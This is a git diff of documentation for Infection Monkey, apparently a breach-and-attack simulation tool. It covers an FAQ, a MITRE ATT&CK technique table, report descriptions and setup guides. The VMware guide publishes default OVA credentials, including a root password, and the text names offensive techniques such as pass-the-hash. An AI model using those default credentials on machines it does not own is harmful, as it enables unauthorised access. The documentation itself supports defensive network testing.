- [Where can I find the log files of the Monkey and the Monkey Island, and how can I read them?](#where-can-i-find-the-log-files-of-the-monkey-and-the-monkey-island-and-how-can-i-read-them)
|
||||
|
@ -16,11 +17,11 @@ Here are some of the most common questions we receive about the Infection Monkey
|
|||
- [Monkey agent](#monkey-agent)
|
||||
- [Running the Monkey in a production environment](#running-the-monkey-in-a-production-environment)
|
||||
- [How much of a footprint does the Monkey leave?](#how-much-of-a-footprint-does-the-monkey-leave)
|
||||
- [What’s the Monkey’s impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage)
|
||||
- [Is it safe to use real passwords and usernames in the Monkey’s configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration)
|
||||
- [What's the Monkey's impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage)
|
||||
- [Is it safe to use real passwords and usernames in the Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration)
|
||||
- [How do you store sensitive information on Monkey Island?](#how-do-you-store-sensitive-information-on-monkey-island)
|
||||
- [How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-monkey-will-the-monkey-crash-my-systems-with-its-exploits)
|
||||
- [After I’ve set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey)
|
||||
- [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey)
|
||||
- [How can I make the monkey propagate “deeper” into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network)
|
||||
- [The report returns a blank screen](#the-report-returns-a-blank-screen)
|
||||
- [How can I get involved with the project? 👩💻👨💻](#how-can-i-get-involved-with-the-project)
|
||||
|
@ -35,6 +36,23 @@ If you want to see what has changed between versions, refer to the [releases pag
|
|||
|
||||
The Monkey shuts off either when it can't find new victims, or when it has exceeded the quota of victims as defined in the configuration.
|
||||
|
||||
## How to reset the password?
|
||||
|
||||
On your first access of Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you
|
||||
entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is
|
||||
located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically
|
||||
`C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file
|
||||
leaving the **deployment option unchanged** (it might be "vmware" or "linux" in your case):
|
||||
|
||||
```json
|
||||
{
|
||||
"server_config": "password",
|
||||
"deployment": "windows"
|
||||
}
|
||||
```
|
||||
Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows).
|
||||
Finally, go to the Island's URL and create a new account.
|
||||
|
||||
## Should I run the Monkey continuously?
|
||||
|
||||
Yes! This will allow you to verify that no new security issues were identified by the Monkey since the last time you ran it.
|
||||
|
@ -59,7 +77,7 @@ The Monkey performs queries out to the Internet on two separate occasions:
|
|||
|
||||
### Monkey Island
|
||||
|
||||
The Monkey Island’s log file can be downloaded directly from the UI. Click the “log” section and choose “Download Monkey Island internal logfile”, like so:
|
||||
The Monkey Island's log file can be downloaded directly from the UI. Click the “log” section and choose “Download Monkey Island internal logfile”, like so:
|
||||
|
||||
![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file")
|
||||
|
||||
|
@ -80,7 +98,7 @@ The Monkey log file can be found in the following paths on machines where it was
|
|||
- Path on Linux: `/tmp/user-1563`
|
||||
- Path on Windows: `%temp%\\~df1563.tmp`
|
||||
|
||||
The logs contain information about the internals of the Monkey’s execution. The log will contain entries like these ones for example:
|
||||
The logs contain information about the internals of the Monkey's execution. The log will contain entries like these ones for example:
|
||||
|
||||
```log
|
||||
2019-07-22 19:16:44,228 [77598:140654230214464:INFO] main.main.116: >>>>>>>>>> Initializing monkey (InfectionMonkey): PID 77598 <<<<<<<<<<
|
||||
|
@ -106,13 +124,13 @@ The Monkey leaves hardly any trace on the target system. It will leave:
|
|||
- Path on Linux: `/tmp/user-1563`
|
||||
- Path on Windows: `%temp%\\~df1563.tmp`
|
||||
|
||||
### What’s the Monkey’s impact on system resources usage?
|
||||
### What's the Monkey's impact on system resources usage?
|
||||
|
||||
The Infection Monkey uses less than single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically.
|
||||
|
||||
If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or via [opening an issue on GitHub](https://github.com/guardicore/monkey).
|
||||
|
||||
### Is it safe to use real passwords and usernames in the Monkey’s configuration?
|
||||
### Is it safe to use real passwords and usernames in the Monkey's configuration?
|
||||
|
||||
Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island.
|
||||
|
||||
|
@ -120,7 +138,7 @@ We advise to limit access to the Monkey Island server by following our [password
|
|||
|
||||
### How do you store sensitive information on Monkey Island?
|
||||
|
||||
Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island’s database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines.
|
||||
Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines.
|
||||
|
||||
When you reset the Monkey Island configuration, the Monkey Island wipes the information.
|
||||
|
||||
|
@ -128,9 +146,9 @@ When you reset the Monkey Island configuration, the Monkey Island wipes the info
|
|||
|
||||
The Monkey does not use any exploits or attacks that may impact the victim system.
|
||||
|
||||
This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren’t using it.
|
||||
This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren't using it.
|
||||
|
||||
## After I’ve set up Monkey Island, how can I execute the Monkey?
|
||||
## After I've set up Monkey Island, how can I execute the Monkey?
|
||||
|
||||
See our detailed [getting started](../content/usage/getting-started) guide.
|
||||
|
||||
|
@ -157,6 +175,6 @@ The Monkey is an open-source project, and we weclome contributions and contribut
|
|||
|
||||
### How did you come up with the Infection Monkey?
|
||||
|
||||
Oddly enough, the idea of proactively breaking the network to test its survival wasn’t born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company’s production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs.
|
||||
Oddly enough, the idea of proactively breaking the network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company's production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs.
|
||||
|
||||
Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers.
|
||||
|
|
|
@ -15,7 +15,7 @@ Want to help secure networks? That's great!
|
|||
|
||||
Here's a few short links to help you get started.
|
||||
|
||||
* [Getting up and running](../setup-development-environment) - To help you get a working development setup.
|
||||
* [Getting up and running](./setup-development-environment) - To help you get a working development setup.
|
||||
* [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - Some guidelines to help you submit.
|
||||
|
||||
## What are we looking for?
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
---
|
||||
title: "MITRE ATT&CK"
|
||||
date: 2020-09-24T08:18:37+03:00
|
||||
draft: false
|
||||
pre: ' <b><u>&</u></b> '
|
||||
weight: 10
|
||||
---
|
||||
|
||||
{{% notice info %}}
|
||||
Check out [the documentation for the MITRE ATT&CK report as well](../../usage/reports/mitre).
|
||||
{{% /notice %}}
|
||||
|
||||
The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and based on this,
|
||||
provides a report detailing the techniques it used and recommended mitigations.
|
||||
The idea is to help you simulate an APT attack on your network and mitigate real attack paths intelligently.
|
||||
|
||||
In the following table we provide the list of all the ATT&CK techniques the Monkey provides info about,
|
||||
categorized by tactic. You can follow any of the links to learn more about a specific technique or tactic.
|
||||
|
||||
|
||||
| TACTIC | TECHNIQUES |
|
||||
|--- |--- |
|
||||
| [Execution](https://attack.mitre.org/tactics/TA0002/) | [Command-line Interface](https://attack.mitre.org/techniques/T1059/) |
|
||||
| | [Execution Through Module Load](https://attack.mitre.org/techniques/T1129/) |
|
||||
| | [Execution Through API](https://attack.mitre.org/techniques/T1106/) |
|
||||
| | [Powershell](https://attack.mitre.org/techniques/T1086/) |
|
||||
| | [Scripting](https://attack.mitre.org/techniques/T1064/) |
|
||||
| | [Service Execution](https://attack.mitre.org/techniques/T1035/) |
|
||||
| | [Trap](https://attack.mitre.org/techniques/T1154/) |
|
||||
| [Persistence](https://attack.mitre.org/tactics/TA0003/) | [.bash_profile & .bashrc](https://attack.mitre.org/techniques/T1156/) |
|
||||
| | [Create Account](https://attack.mitre.org/techniques/T1136/) |
|
||||
| | [Hidden Files & Directories](https://attack.mitre.org/techniques/T1158/) |
|
||||
| | [Local Job Scheduling](https://attack.mitre.org/techniques/T1168/) |
|
||||
| | [Powershell Profile](https://attack.mitre.org/techniques/T1504/) |
|
||||
| | [Scheduled Task](https://attack.mitre.org/techniques/T1053/) |
|
||||
| | [Setuid & Setgid](https://attack.mitre.org/techniques/T1166/) |
|
||||
| [Defence Evasion](https://attack.mitre.org/tactics/TA0005/) | [BITS Job](https://attack.mitre.org/techniques/T1197/) |
|
||||
| | [Clear Command History](https://attack.mitre.org/techniques/T1146/) |
|
||||
| | [File Deletion](https://attack.mitre.org/techniques/T1107/) |
|
||||
| | [File Permissions Modification](https://attack.mitre.org/techniques/T1222/) |
|
||||
| | [Timestomping](https://attack.mitre.org/techniques/T1099/) |
|
||||
| | [Signed Script Proxy Execution](https://attack.mitre.org/techniques/T1216/) |
|
||||
| [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Brute Force](https://attack.mitre.org/techniques/T1110/) |
|
||||
| | [Credential Dumping](https://attack.mitre.org/techniques/T1003/) |
|
||||
| | [Private Keys](https://attack.mitre.org/techniques/T1145/) |
|
||||
| [Discovery](https://attack.mitre.org/tactics/TA0007/) | [Account Discovery](https://attack.mitre.org/techniques/T1087/) |
|
||||
| | [Remote System Discovery](https://attack.mitre.org/techniques/T1018/) |
|
||||
| | [System Information Discovery](https://attack.mitre.org/techniques/T1082/) |
|
||||
| | [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016/) |
|
||||
| [Lateral Movement](https://attack.mitre.org/tactics/TA0008/) | [Exploitation Of Remote Services](https://attack.mitre.org/techniques/T1210/) |
|
||||
| | [Pass The Hash](https://attack.mitre.org/techniques/T1075/) |
|
||||
| | [Remote File Copy](https://attack.mitre.org/techniques/T1105/) |
|
||||
| | [Remote Services](https://attack.mitre.org/techniques/T1021/) |
|
||||
| [Collection](https://attack.mitre.org/tactics/TA0009/) | [Data From Local System](https://attack.mitre.org/techniques/T1005) |
|
||||
| [Command And Control](https://attack.mitre.org/tactics/TA0011/) | [Connection Proxy](https://attack.mitre.org/techniques/T1090/) |
|
||||
| | [Uncommonly Used Port](https://attack.mitre.org/techniques/T1065/) |
|
||||
| | [Multi-hop Proxy](https://attack.mitre.org/techniques/T1188/) |
|
||||
| [Exfiltration](https://attack.mitre.org/tactics/TA0010/) | [Exfiltration Over Command And Control Channel](https://attack.mitre.org/techniques/T1041/)|
|
|
@ -1,7 +1,7 @@
|
|||
+++
|
||||
title = "Reports"
|
||||
date = 2020-06-24T21:16:03+03:00
|
||||
weight = 5
|
||||
weight = 40
|
||||
chapter = true
|
||||
pre = "<i class='fas fa-scroll'></i> "
|
||||
+++
|
||||
|
@ -10,4 +10,4 @@ pre = "<i class='fas fa-scroll'></i> "
|
|||
|
||||
The Monkey offers three reports:
|
||||
|
||||
{{% children %}}
|
||||
{{% children description=true style="p"%}}
|
|
@ -1,11 +1,12 @@
|
|||
---
|
||||
title: "MITRE ATT&CK report"
|
||||
description: "Maps the Monkey's actions to the MITRE ATT&CK knowledge base"
|
||||
date: 2020-06-24T21:17:18+03:00
|
||||
draft: false
|
||||
---
|
||||
|
||||
{{% notice info %}}
|
||||
Check out [the documentation for the other reports as well](../).
|
||||
Check out [the documentation for the other reports](../) and [the documentation for supported ATT&CK techniques as well](../../../reference/mitre_techniques).
|
||||
{{% /notice %}}
|
||||
|
||||
The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base: It provides a new report with the utilized techniques and recommended mitigations, to help you simulate an APT attack on your network and mitigate real attack paths intelligently.
|
||||
|
@ -23,11 +24,11 @@ The MITRE ATT&CK report is centred around the ATT&CK matrix:
|
|||
The Monkey rates your network on the attack techniques it attempted. For each technique, you can get
|
||||
|
||||
- {{< label danger Red >}}: The Monkey **successfully used** the technique in the simulation. That means your network is vulnerable to this technique being employed.
|
||||
- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn’t manage to. That means your network isn’t vulnerable to the way Monkey employs this technique.
|
||||
- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn't manage to. That means your network isn't vulnerable to the way Monkey employs this technique.
|
||||
- {{< label unused "Dark Gray" >}}: The Monkey **didn't try** the technique. Perhaps it wasn't relevant to this network.
|
||||
- {{< label disabled "Light Gray" >}}: The Monkey **didn't try** the technique since it wasn't configured.
|
||||
|
||||
Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let’s look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that’s a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic:
|
||||
Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let's look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that's a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic:
|
||||
|
||||
![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access.png "MITRE Report Credentials Access technique")
|
||||
|
|
@ -2,6 +2,7 @@
|
|||
title: "Security report"
|
||||
date: 2020-06-24T21:16:10+03:00
|
||||
draft: false
|
||||
description: "Provides actionable recommendations and insight into an attacker's view of your network"
|
||||
---
|
||||
|
||||
{{% notice info %}}
|
|
@ -2,6 +2,7 @@
|
|||
title: "Zero Trust report"
|
||||
date: 2020-06-24T21:16:18+03:00
|
||||
draft: false
|
||||
description: "Generates a status report with detailed explanations of Zero Trust security gaps and prescriptive instructions on how to rectify them"
|
||||
---
|
||||
|
||||
{{% notice info %}}
|
||||
|
@ -12,12 +13,12 @@ The Guardicore Infection Monkey runs different tests to evaluate your network ad
|
|||
|
||||
## Summary
|
||||
|
||||
This diagram provides a quick glance at how your organization scores on each component of the Forrester’s Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts.
|
||||
This diagram provides a quick glance at how your organization scores on each component of the Forrester's Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts.
|
||||
|
||||
- {{< label danger Failed >}} At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
|
||||
- {{< label warning Verify >}} At least one of the tests’ results related to this component requires further manual verification.
|
||||
- {{< label warning Verify >}} At least one of the tests' results related to this component requires further manual verification.
|
||||
- {{< label success Passed >}} All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
|
||||
- {{< label other Unexecuted >}} This status means no tests were executed for this pillar.
|
||||
- {{< label unused Unexecuted >}} This status means no tests were executed for this pillar.
|
||||
|
||||
![Zero Trust Report summary](/images/usage/reports/ztreport1.png "Zero Trust Report summary")
|
||||
|
|
@ -9,18 +9,18 @@ tags = ["setup"]
|
|||
|
||||
# Setting up Infection Monkey
|
||||
|
||||
Setting up Infection Monkey is really easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}download the Infection Monkey from our site{{% /button %}}.
|
||||
Setting up the Infection Monkey is easy! First, you need to {{% button href="https://infectionmonkey.com/" icon="fas fa-download" %}}Download the Infection Monkey{{% /button %}}.
|
||||
|
||||
Once you've downloaded an installer, you can follow the relevant guide for your environment:
|
||||
Once you've downloaded an installer, follow the relevant guide for your environment:
|
||||
|
||||
{{% children %}}
|
||||
|
||||
Once you're done setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide!
|
||||
After setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide!
|
||||
|
||||
{{% notice tip %}}
|
||||
You can find information about [operating system compatibility and support here](../reference/operating_systems_support).
|
||||
{{% /notice %}}
|
||||
|
||||
{{% notice tip %}}
|
||||
You can find the binary checksums of our installers to verify their integrity [in this page](../usage/file-checksums).
|
||||
{{% /notice %}}
|
||||
You can find the binary checksums of our installers to verify their integrity [on this page](../usage/file-checksums).
|
||||
{{% /notice %}}
|
||||
|
|
|
@ -7,15 +7,17 @@ pre: "<i class='fas fa-user-lock'></i> "
|
|||
tags: ["usage", "password"]
|
||||
---
|
||||
|
||||
## Security in Infection Monkey
|
||||
## Security in the Infection Monkey
|
||||
|
||||
The first time you launch Monkey Island (Infection Monkey CC server), you'll be prompted to create an account and secure your island. After your account is created, the server will only be accessible via the credentials you chose.
|
||||
The first time you launch Monkey Island (the Infection Monkey CC server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered.
|
||||
|
||||
If you want island to be accessible without credentials press *I want anyone to access the island*. Please note that this option is insecure: you should only pick this for use in development environments.
|
||||
If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments.
|
||||
|
||||
## Resetting account credentials
|
||||
## Resetting your account credentials
|
||||
|
||||
To reset credentials edit `monkey_island\cc\server_config.json` by deleting `user` and `password_hash` variables. Then restart the Monkey Island server and you should be prompted with registration form again.
|
||||
To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables.
|
||||
|
||||
When you restart the Monkey Island server, you will again be prompted with the registration form.
|
||||
|
||||
Example `server_config.json` for account reset:
|
||||
|
||||
|
|
|
@ -4,36 +4,46 @@ date: 2020-05-26T20:57:36+03:00
|
|||
draft: false
|
||||
pre: '<i class="fab fa-aws"></i> '
|
||||
weight: 5
|
||||
tags: ["setup", "aws"]
|
||||
tags: ["setup", "aws"]
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
On the [Infection Monkey’s AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**.
|
||||
On the [Infection Monkey's AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**.
|
||||
|
||||
1. Choose the desired region.
|
||||
1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the recommended.
|
||||
1. Select the VPC and subnet you want the instance to be in.
|
||||
1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default recommendation.
|
||||
1. Select the VPC and subnet you want to use for the new instance.
|
||||
1. In the Security Group section, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.
|
||||
1. Choose an existing EC2 key pair for authenticating with your new instance.
|
||||
1. Choose an existing EC2 key pair for authenticating with the new instance.
|
||||
1. Click **Launch with 1-click.**
|
||||
|
||||
At this point, AWS will instance and deploy your new machine.
|
||||
At this point, AWS will instance and deploy the new machine.
|
||||
|
||||
When ready, you can browse to the Infection Monkey running on your fresh deployment at:
|
||||
When ready, you can browse to the Infection Monkey running on the fresh deployment at:
|
||||
|
||||
`https://{public-ip}:5000`
|
||||
|
||||
You will be presented a login page. Use the username **monkey**, and the new EC2 instace’s instance ID for password. You can find the instance id by going to the EC2 console and selecting your instance. It should appear in the details pane below.
|
||||
You will be presented with a login page. Enter the username **monkey**, and the
|
||||
new EC2 instance's **instance ID** for your password. To find your instance ID,
|
||||
go to the EC2 console and select your instance. It should appear in the details
|
||||
pane below.
|
||||
|
||||
![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID")
|
||||
|
||||
## Integration with AWS services
|
||||
|
||||
The Monkey has built-in integrations with AWS services for better execution and reporting. See [Usage -> Integrations](../../usage/integrations) for more details.
|
||||
The Infection Monkey has built-in integrations with AWS services for better
|
||||
execution and reporting. See [Usage -> Integrations](../../usage/integrations)
|
||||
for more details.
|
||||
|
||||
## Upgrading
|
||||
|
||||
Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island.
|
||||
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get an updated version, you can deploy a new machine from the marketplace.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
|
|
@ -4,31 +4,36 @@ date: 2020-05-26T20:57:39+03:00
|
|||
draft: false
|
||||
pre: '<i class="fab fa-microsoft"></i> '
|
||||
weight: 6
|
||||
tags: ["setup", "azure"]
|
||||
tags: ["setup", "azure"]
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
Select [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**.
|
||||
Select the [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**.
|
||||
|
||||
1. Under **Basics**:
|
||||
1. Choose a name for your Infection Monkey instance, such as InfectionMonkey.
|
||||
1. Choose a username and password or provide a SSH public key for authentication.
|
||||
1. Choose a resource group and the location your instance will be deployed in.
|
||||
1. Choose a name for the new Infection Monkey instance, such as InfectionMonkey.
|
||||
1. Choose a username and password, or provide an SSH public key for authentication.
|
||||
1. Choose a resource group and the location for the Infection Monkey instance.
|
||||
1. Under **Size**
|
||||
1. Choose a machine size with at least 1GB of RAM for optimal performance.
|
||||
1. Under **Settings**
|
||||
1. Choose the network the new instance will be a member of.
|
||||
1. Choose the network for the new instance.
|
||||
1. In the **Network Security Group** field, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.
|
||||
1. Under **Summary**
|
||||
1. Review the details of the offer and click **Create**.
|
||||
|
||||
At this point, Azure will instance and deploy your new machine. When ready, you can browse to the Infection Monkey running on your fresh deployment at:
|
||||
At this point, Azure will provision and deploy your new machine. When ready,
|
||||
you can browse to the Infection Monkey running on your fresh deployment at:
|
||||
|
||||
`https://{public-ip-address}:5000`
|
||||
|
||||
## Upgrading
|
||||
|
||||
Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island.
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get the updated version, you can deploy a new machine from the marketplace.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
|
|
@ -12,14 +12,14 @@ tags: ["setup", "debian", "linux"]
|
|||
|
||||
To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`.
|
||||
|
||||
To deploy the package, once you’ve extracted it, run the following commands:
|
||||
Once you've extracted the package, deploy it using run the following commands:
|
||||
|
||||
```sh
|
||||
sudo apt update
|
||||
sudo dpkg -i monkey_island.deb # this might print errors
|
||||
```
|
||||
|
||||
If at this point, dpkg printed errors that look like this:
|
||||
If, at this point, you receive dpkg printed errors that look like this:
|
||||
|
||||
```sh
|
||||
dpkg: error processing package gc-monkey-island (--install):
|
||||
|
@ -28,7 +28,9 @@ Errors were encountered while processing:
|
|||
gc-monkey-island
|
||||
```
|
||||
|
||||
That just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies and then install the Monkey Island:
|
||||
It just means that not all dependencies were pre-installed on your system.
|
||||
That's no problem! Just run the following command, which will install all
|
||||
dependencies, and then install the Monkey Island:
|
||||
|
||||
```sh
|
||||
sudo apt install -f
|
||||
|
@ -38,7 +40,10 @@ sudo apt install -f
|
|||
|
||||
### Trying to install on Ubuntu <16.04
|
||||
|
||||
If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow the following steps:
|
||||
If you're trying to install the Monkey Island on Ubuntu 16.04 or older, you
|
||||
need to install the dependencies yourself, since Python 3.7 is only installable
|
||||
from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow
|
||||
these steps:
|
||||
|
||||
```sh
|
||||
sudo apt update
|
||||
|
@ -57,8 +62,13 @@ To check the status of the Monkey Island after the installation, run the followi
|
|||
|
||||
## Upgrading
|
||||
|
||||
To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully.
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get the updated version, download the new `.deb` file and install it. You
|
||||
should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After
|
||||
which, the installation should complete successfully.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server.
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
||||
|
|
|
@ -4,14 +4,14 @@ date: 2020-05-26T20:57:28+03:00
|
|||
draft: false
|
||||
pre: '<i class="fab fa-docker"></i> '
|
||||
weight: 4
|
||||
tags: ["setup", "docker", "linux", "windows"]
|
||||
tags: ["setup", "docker", "linux", "windows"]
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`.
|
||||
|
||||
Once you’ve extracted the container from the tar.gz file, run the following commands:
|
||||
Once you've extracted the container from the tar.gz file, run the following commands:
|
||||
|
||||
```sh
|
||||
sudo docker load -i dk.monkeyisland.1.9.0.tar
|
||||
|
@ -23,8 +23,11 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:
|
|||
|
||||
## Upgrading
|
||||
|
||||
There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file.
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get an updated version, download it, stop the current container and run the
|
||||
installation commands again with the new file.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server.
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
|
|
@ -4,33 +4,37 @@ date: 2020-05-26T20:57:14+03:00
|
|||
draft: false
|
||||
pre: '<i class="fas fa-laptop-code"></i> '
|
||||
weight: 3
|
||||
tags: ["setup", "vmware"]
|
||||
tags: ["setup", "vmware"]
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
1. Deploy the Infection Monkey OVA by choosing Deploy OVF Template and follow the wizard instructions. *Note: make sure port 5000 and 5001 on the machine are accessible for inbound TCP traffic.*
|
||||
2. Turn on the Infection Monkey VM.
|
||||
3. Log in to the machine with the following credentials:
|
||||
1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and
|
||||
following the wizard instructions. *Note: make sure ports 5000 and 5001 on
|
||||
the machine are accessible for inbound TCP traffic.*
|
||||
1. Turn on the Infection Monkey VM.
|
||||
1. Log in to the machine with the following credentials:
|
||||
1. Username: **monkeyuser**
|
||||
2. Password: **Noon.Earth.Always**
|
||||
4. It's recommended to change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`.
|
||||
1. Password: **Noon.Earth.Always**
|
||||
1. It's recommended you change the machine passwords by running the following
|
||||
commands: `sudo passwd monkeyuser`, `sudo passwd root`.
|
||||
|
||||
## OVA network modes
|
||||
|
||||
The OVA can be used in one of two modes:
|
||||
You can use the OVA in one of two modes:
|
||||
|
||||
1. In a network with DHCP configured. In this case, the Monkey Island will automatically query and receive an IP address from the network.
|
||||
1. With a static IP address.
|
||||
|
||||
In this case, you should login to the VM console with
|
||||
username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file. You can do that by writing the following command in the prompt:
|
||||
1. In a network with the DHCP configured — In this case, the Monkey Island will
|
||||
automatically query and receive an IP address from the network.
|
||||
1. With a static IP address — In this case, you should log in to the VM console
|
||||
with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging
|
||||
in, edit the interfaces file by entering the following command in the
|
||||
prompt:
|
||||
|
||||
```sh
|
||||
sudo nano /etc/network/interfaces
|
||||
```
|
